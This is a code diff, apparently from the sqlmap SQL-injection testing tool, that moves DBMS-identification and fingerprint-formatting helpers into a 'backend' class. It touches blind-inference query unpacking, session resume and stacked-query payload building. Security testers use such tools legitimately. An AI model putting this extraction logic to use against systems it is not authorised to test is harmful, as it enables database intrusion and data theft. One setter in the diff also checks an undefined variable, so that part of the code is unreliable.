return "%s %s" % (backend.getDbms(), " and ".join([v for v in versions]))
|
||||
|
||||
return aliasToDbmsEnum(dbms)
|
||||
@staticmethod
|
||||
def getErrorParsedDBMSes():
|
||||
"""
|
||||
Parses the knowledge base htmlFp list and return its values
|
||||
formatted as a human readable string.
|
||||
|
||||
@return: list of possible back-end DBMS based upon error messages
|
||||
parsing.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
htmlParsed = ""
|
||||
|
||||
if len(kb.htmlFp) == 0:
|
||||
return None
|
||||
elif len(kb.htmlFp) == 1:
|
||||
htmlParsed = kb.htmlFp[0]
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
@staticmethod
|
||||
def getOs(target, info):
|
||||
"""
|
||||
Formats the back-end operating system fingerprint value
|
||||
and return its values formatted as a human readable string.
|
||||
|
||||
Example of info (kb.headersFp) dictionary:
|
||||
|
||||
{
|
||||
'distrib': set(['Ubuntu']),
|
||||
'type': set(['Linux']),
|
||||
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
||||
'release': set(['8.10'])
|
||||
}
|
||||
|
||||
Example of info (kb.bannerFp) dictionary:
|
||||
|
||||
{
|
||||
'sp': set(['Service Pack 4']),
|
||||
'dbmsVersion': '8.00.194',
|
||||
'dbmsServicePack': '0',
|
||||
'distrib': set(['2000']),
|
||||
'dbmsRelease': '2000',
|
||||
'type': set(['Windows'])
|
||||
}
|
||||
|
||||
@return: detected back-end operating system based upon fingerprint
|
||||
techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
infoStr = ""
|
||||
|
||||
if info and "type" in info:
|
||||
infoStr += "%s operating system: %s" % (target, format.humanize(info["type"]))
|
||||
|
||||
if "distrib" in info:
|
||||
infoStr += " %s" % format.humanize(info["distrib"])
|
||||
|
||||
if "release" in info:
|
||||
infoStr += " %s" % format.humanize(info["release"])
|
||||
|
||||
if "sp" in info:
|
||||
infoStr += " %s" % format.humanize(info["sp"])
|
||||
|
||||
if "codename" in info:
|
||||
infoStr += " (%s)" % format.humanize(info["codename"])
|
||||
|
||||
if "technology" in info:
|
||||
infoStr += "\nweb application technology: %s" % format.humanize(info["technology"], ", ")
|
||||
|
||||
return infoStr
|
||||
|
||||
class backend:
|
||||
# Set methods
|
||||
@staticmethod
|
||||
def setDbms(dbms):
|
||||
kb.dbms = aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def setVersion(version):
|
||||
if isinstance(version, basestring):
|
||||
kb.dbmsVersion = [ version ]
|
||||
|
||||
@staticmethod
|
||||
def setVersionList(versionsList):
|
||||
if isinstance(versionsList, list):
|
||||
kb.dbmsVersion = versionsList
|
||||
elif isinstance(version, basestring):
|
||||
backend.setVersion(versionsList)
|
||||
else:
|
||||
logger.error("invalid format of versionsList")
|
||||
|
||||
@staticmethod
|
||||
def forceDbms(dbms):
|
||||
kb.misc.forcedDbms = aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def flushForcedDbms():
|
||||
kb.misc.forcedDbms = None
|
||||
|
||||
# Get methods
|
||||
@staticmethod
|
||||
def getForcedDbms():
|
||||
return aliasToDbmsEnum(kb.misc.forcedDbms)
|
||||
|
||||
@staticmethod
|
||||
def getDbms():
|
||||
return aliasToDbmsEnum(kb.dbms)
|
||||
|
||||
@staticmethod
|
||||
def getErrorParsedDBMSes():
|
||||
"""
|
||||
Returns array with parsed DBMS names till now
|
||||
|
||||
This functions is called to:
|
||||
|
||||
1. Sort the tests, getSortedInjectionTests() - detection phase.
|
||||
2. Ask user whether or not skip specific DBMS tests in detection phase,
|
||||
lib/controller/checks.py - detection phase.
|
||||
3. Sort the fingerprint of the DBMS, lib/controller/handler.py -
|
||||
fingerprint phase.
|
||||
"""
|
||||
|
||||
return kb.htmlFp
|
||||
|
||||
@staticmethod
|
||||
def getIdentifiedDbms():
|
||||
dbms = None
|
||||
|
||||
if backend.getForcedDbms() is not None:
|
||||
dbms = backend.getForcedDbms()
|
||||
elif backend.getDbms() is not None:
|
||||
dbms = kb.dbms
|
||||
elif conf.dbms is not None:
|
||||
dbms = conf.dbms
|
||||
elif len(backend.getErrorParsedDBMSes()) > 0:
|
||||
dbms = backend.getErrorParsedDBMSes()[0]
|
||||
|
||||
return aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def getVersion():
|
||||
if len(kb.dbmsVersion) > 0:
|
||||
return kb.dbmsVersion[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def getVersionList():
|
||||
if len(kb.dbmsVersion) > 0:
|
||||
return kb.dbmsVersion
|
||||
else:
|
||||
return None
|
||||
|
||||
# Comparison methods
|
||||
@staticmethod
|
||||
def isDbms(dbms):
|
||||
return backend.getDbms() is not None and backend.getDbms() == aliasToDbmsEnum(dbms)
|
||||
|
||||
@staticmethod
|
||||
def isDbmsWithin(aliases):
|
||||
return backend.getDbms() is not None and backend.getDbms().lower() in aliases
|
||||
|
||||
@staticmethod
|
||||
def isVersion(version):
|
||||
return backend.getVersion() is not None and backend.getVersion() == version
|
||||
|
||||
@staticmethod
|
||||
def isVersionWithin(versionList):
|
||||
if backend.getVersionList() is None:
|
||||
return False
|
||||
|
||||
for dbmsVersion in backend.getVersionList():
|
||||
if dbmsVersion == UNKNOWN_DBMS_VERSION:
|
||||
continue
|
||||
elif dbmsVersion in versionList:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def isVersionGreaterOrEqualThan(version):
|
||||
return backend.getVersion() is not None and str(backend.getVersion()) >= str(version)
|
||||
|
||||
def showHttpErrorCodes():
|
||||
"""
|
||||
|
||||
@@ -24,6 +24,7 @@ from extra.clientform.clientform import ParseResponse
|
||||
from extra.keepalive import keepalive
|
||||
from extra.xmlobject import xmlobject
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getFileType
|
||||
@@ -550,11 +551,10 @@ def __setDBMS():
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
backend.setVersion(str(dbmsRegExp.group(2)))
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
@@ -1107,11 +1107,8 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
||||
|
||||
kb.data = advancedDict()
|
||||
|
||||
# Basic back-end DBMS fingerprint
|
||||
# Active back-end DBMS fingerprint
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
|
||||
# Active (extensive) back-end DBMS fingerprint
|
||||
kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ]
|
||||
|
||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||
|
||||
@@ -9,11 +9,10 @@ See the file 'doc/COPYING' for copying permission
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import aliasToDbmsEnum
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import format
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import formatFingerprintString
|
||||
from lib.core.common import getFilteredPageContent
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import base64pickle
|
||||
from lib.core.convert import base64unpickle
|
||||
@@ -99,9 +98,9 @@ def setDbms(dbms):
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
|
||||
kb.dbms = aliasToDbmsEnum(dbms)
|
||||
backend.setDbms(dbms)
|
||||
|
||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||
logger.info("the back-end DBMS is %s" % backend.getDbms())
|
||||
|
||||
def setOs():
|
||||
"""
|
||||
@@ -128,15 +127,15 @@ def setOs():
|
||||
return
|
||||
|
||||
if "type" in kb.bannerFp:
|
||||
kb.os = formatFingerprintString(kb.bannerFp["type"])
|
||||
kb.os = format.humanize(kb.bannerFp["type"])
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
if "distrib" in kb.bannerFp:
|
||||
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
|
||||
infoMsg += " %s" % kb.osVersion
|
||||
kb.osVersion = format.humanize(kb.bannerFp["distrib"])
|
||||
infoMsg += " %s" % kb.osVersion
|
||||
|
||||
if "sp" in kb.bannerFp:
|
||||
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||
kb.osSP = int(format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||
|
||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||
kb.osSP = 0
|
||||
@@ -206,11 +205,11 @@ def resumeConfKb(expression, url, value):
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
kb.dbms = aliasToDbmsEnum(dbms)
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
backend.setDbms(dbms)
|
||||
backend.setVersionList(dbmsVersion)
|
||||
else:
|
||||
kb.dbms = aliasToDbmsEnum(dbms)
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
backend.setDbms(dbms)
|
||||
backend.setVersionList(dbmsVersion)
|
||||
|
||||
elif expression == "OS" and url == conf.url:
|
||||
os = unSafeFormatString(value[:-1])
|
||||
@@ -247,7 +246,7 @@ def resumeConfKb(expression, url, value):
|
||||
if '.' in table:
|
||||
db, table = table.split('.')
|
||||
else:
|
||||
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
|
||||
db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
|
||||
|
||||
logMsg = "resuming brute forced table name "
|
||||
logMsg += "'%s' from session file" % table
|
||||
@@ -262,7 +261,7 @@ def resumeConfKb(expression, url, value):
|
||||
if '.' in table:
|
||||
db, table = table.split('.')
|
||||
else:
|
||||
db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
|
||||
db = "%s%s" % (backend.getIdentifiedDbms(), METADB_SUFFIX)
|
||||
|
||||
logMsg = "resuming brute forced column name "
|
||||
logMsg += "'%s' for table '%s' from session file" % (colName, table)
|
||||
|
||||
@@ -12,7 +12,7 @@ import os
|
||||
import rlcompleter
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
@@ -30,7 +30,7 @@ def loadHistory():
|
||||
def queriesForAutoCompletion():
|
||||
autoComplQueries = {}
|
||||
|
||||
for item in queries[getIdentifiedDBMS()]._toflat():
|
||||
for item in queries[backend.getIdentifiedDbms()]._toflat():
|
||||
if item._has_key('query') and len(item.query) > 1 and item._name != 'blind':
|
||||
autoComplQueries[item.query] = None
|
||||
|
||||
|
||||
@@ -7,12 +7,12 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.datatype import advancedDict
|
||||
|
||||
class Unescaper(advancedDict):
|
||||
def unescape(self, expression, quote=True, dbms=None):
|
||||
identifiedDbms = getIdentifiedDBMS()
|
||||
identifiedDbms = backend.getIdentifiedDbms()
|
||||
|
||||
if identifiedDbms is not None:
|
||||
return self[identifiedDbms](expression, quote=quote)
|
||||
|
||||
@@ -13,7 +13,7 @@ from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import getCompiledRegex
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import parseXmlFile
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
@@ -97,13 +97,13 @@ def bannerParser(banner):
|
||||
|
||||
xmlfile = None
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
xmlfile = paths.MSSQL_XML
|
||||
elif getIdentifiedDBMS() == DBMS.MYSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
xmlfile = paths.MYSQL_XML
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
xmlfile = paths.ORACLE_XML
|
||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
||||
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
xmlfile = paths.PGSQL_XML
|
||||
|
||||
if not xmlfile:
|
||||
@@ -111,7 +111,7 @@ def bannerParser(banner):
|
||||
|
||||
checkFile(xmlfile)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.MSSQL:
|
||||
if backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
handler = MSSQLBannerHandler(banner, kb.bannerFp)
|
||||
parseXmlFile(xmlfile, handler)
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.convert import base64pickle
|
||||
from lib.core.convert import base64unpickle
|
||||
@@ -26,7 +26,7 @@ def direct(query, content=True):
|
||||
select = False
|
||||
query = agent.payloadDirect(query)
|
||||
|
||||
if getIdentifiedDBMS() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
|
||||
if backend.getIdentifiedDbms() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
|
||||
query = "%s FROM DUAL" % query
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
|
||||
@@ -11,11 +11,11 @@ import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import cleanQuery
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import getIdentifiedDBMS
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import initTechnique
|
||||
from lib.core.common import isNumPosStrValue
|
||||
@@ -54,7 +54,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
|
||||
|
||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
|
||||
if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare:
|
||||
if (conf.eta or conf.threads > 1) and backend.getIdentifiedDbms() and not timeBasedCompare:
|
||||
_, length, _ = queryOutputLength(expression, payload)
|
||||
else:
|
||||
length = None
|
||||
@@ -137,186 +137,183 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
if not unpack:
|
||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
||||
|
||||
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
|
||||
if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD:
|
||||
expressionFieldsList = [expressionFields]
|
||||
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
|
||||
if rdbRegExp and backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||
expressionFieldsList = [expressionFields]
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are going blind"
|
||||
logger.info(infoMsg)
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are going blind"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# If we have been here from SQL query/shell we have to check if
|
||||
# the SQL query might return multiple entries and in such case
|
||||
# forge the SQL limiting the query output one entry per time
|
||||
# NOTE: I assume that only queries that get data from a table
|
||||
# can return multiple entries
|
||||
if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))):
|
||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||
# If we have been here from SQL query/shell we have to check if
|
||||
# the SQL query might return multiple entries and in such case
|
||||
# forge the SQL limiting the query output one entry per time
|
||||
# NOTE: I assume that only queries that get data from a table
|
||||
# can return multiple entries
|
||||
if fromUser and " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))):
|
||||
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||
|
||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if limitRegExp:
|
||||
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
elif topLimit:
|
||||
startLimit = 0
|
||||
stopLimit = int(topLimit.group(1))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if limitRegExp:
|
||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
||||
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
elif topLimit:
|
||||
startLimit = 0
|
||||
stopLimit = int(topLimit.group(1))
|
||||
limitCond = int(stopLimit) > 1
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
stopLimit += startLimit
|
||||
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
||||
expression = expression[:untilLimitChar]
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
stopLimit += startLimit
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
||||
test = False
|
||||
else:
|
||||
test = True
|
||||
if resumeValue:
|
||||
count = resume(countedExpression, payload)
|
||||
|
||||
if test:
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
if isNumPosStrValue(count):
|
||||
count = int(count)
|
||||
|
||||
if resumeValue:
|
||||
count = resume(countedExpression, payload)
|
||||
if batch:
|
||||
stopLimit = count
|
||||
else:
|
||||
message = "the SQL query provided can return "
|
||||
message += "%d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit"
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
|
||||
|
||||
if isNumPosStrValue(count):
|
||||
count = int(count)
|
||||
|
||||
if batch:
|
||||
if not test or test[0] in ("a", "A"):
|
||||
stopLimit = count
|
||||
else:
|
||||
message = "the SQL query provided can return "
|
||||
message += "%d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit"
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not test or test[0] in ("a", "A"):
|
||||
stopLimit = count
|
||||
elif test[0] in ("q", "Q"):
|
||||
raise sqlmapUserQuitException
|
||||
|
||||
elif test[0] in ("q", "Q"):
|
||||
raise sqlmapUserQuitException
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "how many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "how many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
|
||||
if not stopLimit.isdigit():
|
||||
errMsg = "invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
else:
|
||||
if not stopLimit.isdigit():
|
||||
errMsg = "invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
warnMsg += "of entries for the SQL query provided. "
|
||||
warnMsg += "sqlmap will assume that it returns only "
|
||||
warnMsg += "one entry"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
stopLimit = 1
|
||||
else:
|
||||
errMsg = "invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
elif (not count or int(count) == 0):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
return None
|
||||
|
||||
return None
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
warnMsg += "of entries for the SQL query provided. "
|
||||
warnMsg += "sqlmap will assume that it returns only "
|
||||
warnMsg += "one entry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
|
||||
stopLimit = 1
|
||||
|
||||
elif (not count or int(count) == 0):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
outputs.append(output)
|
||||
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
warnMsg = "Ctrl+C detected in dumping phase"
|
||||
logger.warn(warnMsg)
|
||||
return None
|
||||
|
||||
return outputs
|
||||
try:
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
outputs.append(output)
|
||||
|
||||
elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
|
||||
expression += FROM_TABLE[getIdentifiedDBMS()]
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
warnMsg = "Ctrl+C detected in dumping phase"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
else:
|
||||
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
return outputs
|
||||
|
||||
elif backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
|
||||
expression += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
return returnValue
|
||||
|
||||
@@ -495,7 +492,7 @@ def goStacked(expression, silent=False):
|
||||
if conf.direct:
|
||||
return direct(expression), None
|
||||
|
||||
comment = queries[getIdentifiedDBMS()].comment.query
|
||||
comment = queries[backend.getIdentifiedDbms()].comment.query
|
||||
query = agent.prefixQuery("; %s" % expression)
|
||||
query = agent.suffixQuery("%s;%s" % (query, comment))
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
